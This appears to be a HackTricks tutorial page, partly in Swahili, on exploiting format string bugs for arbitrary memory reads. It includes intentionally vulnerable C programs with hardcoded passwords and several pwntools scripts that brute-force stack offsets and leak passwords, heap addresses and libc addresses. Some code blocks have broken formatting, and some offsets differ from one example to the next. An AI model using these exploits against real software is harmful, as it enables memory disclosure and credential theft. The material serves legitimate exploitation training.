Format Strings - Arbitrary Read Example

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Anza Kusoma Binary

Code

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Ikompili kwa:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • offset is 11 kwa sababu kuweka A nyingi na brute-forcing kwa loop (offsets kutoka 0 hadi 50) kuligundua kwamba kwa offset 11 na kwa 5 extra chars (pipes | katika kesi yetu), inawezekana kudhibiti full address.
  • Nilitumia %11$p na padding hadi address ilikuwa yote 0x4141414141414141
  • format string payload is BEFORE the address kwa sababu printf stops reading at a null byte, hivyo tukituma address kisha format string, printf haitawahi kufika kwenye format string kwa sababu null byte itaonekana kabla
  • Address iliyochaguliwa ni 0x00400000 kwa sababu ni mahali binary inaanza (no PIE)

Soma passwords

Binary iliyoathirika yenye passwords kwenye stack na BSS ```c #include #include

char bss_password[20] = “hardcodedPassBSS”; // Password in BSS

int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];

printf(“Enter first password: “); scanf(”%19s“, input1);

printf(“Enter second password: “); scanf(”%19s“, input2);

// Vulnerable printf printf(input1); printf(“\n”);

// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }

return 0; }

</details>

Kompaili kwa:
```bash
clang -o fs-read fs-read.c -Wno-format-security

Soma kutoka stack

stack_password itahifadhiwa kwenye stack kwa sababu ni variable ya ndani, hivyo kutumia printf vibaya tu kuonyesha yaliyomo kwenye stack ni vya kutosha. Hii ni exploit ya ku-BF nafasi 100 za kwanza ili leak passwords kutoka kwenye stack:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Katika picha inawezekana kuona kwamba tunaweza leak password kutoka kwenye stack katika 10th position:

Kusoma data

Ukimbie exploit ile ile lakini ukitumia %p badala ya %s, inawezekana leak heap address kutoka kwenye stack katika %25$p. Zaidi ya hayo, tukilinganisha the leaked address (0xaaaab7030894) na nafasi ya password katika memory ya mchakato huo, tunaweza kupata tofauti ya addresses:

Sasa ni wakati wa kupata jinsi ya kudhibiti 1 address kwenye stack ili kuifikia kutoka kwa second format string vulnerability:

Pata address kwenye stack inayoweza kudhibitiwa ```python from pwn import *

def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)

for i in range(30): p = process(“./fs-read”)

heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)

password_addr = heap_leak_addr - 0x126a

print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”

p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()

</details>

Na inawezekana kuona kwamba katika **try 14**, kwa passing iliyotumika tunaweza kudhibiti anwani:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

Kuotomatisha ugunduzi wa offset

Wakati mpangilio wa stack unabadilika kila mara (full ASLR/PIE), bruteforcing offsets kwa mkono ni polepole. pwntools inatoa FmtStr kugundua kwa otomatiki index ya argumenti inayofikia buffer tunayodhibiti. lambda inapaswa kurudisha matokeo ya programu baada ya kutuma candidate payload. Inasimama mara tu inapoweza kwa uhakika kuharibu/kuangalia kumbukumbu.

from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")

Baadaye unaweza kutumia tena offset kujenga arbitrary read/write payloads kwa kutumia fmtstr_payload, ukiepuka %p fuzzing ya mkono.

PIE/libc leak then arbitrary read

Kwenye binaries za kisasa zilizo na PIE na ASLR, kwanza leak pointer yoyote ya libc (mfano __libc_start_main+243 au setvbuf), compute bases, kisha weka target address yako baada ya format string. Hii inahakikisha %s haisikatiwi na null bytes ndani ya pointer.

Leak libc and read arbitrary address ```python from pwn import *

elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

io = process()

leak libc address from stack (offset 25 from previous fuzz)

io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)

secret = libc.address + 0x1f7bc # adjust to your target

payload = f“%14$s|||“.encode() payload += p64(secret)

io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address

</details>

## Marejeo

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

> [!TIP]
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>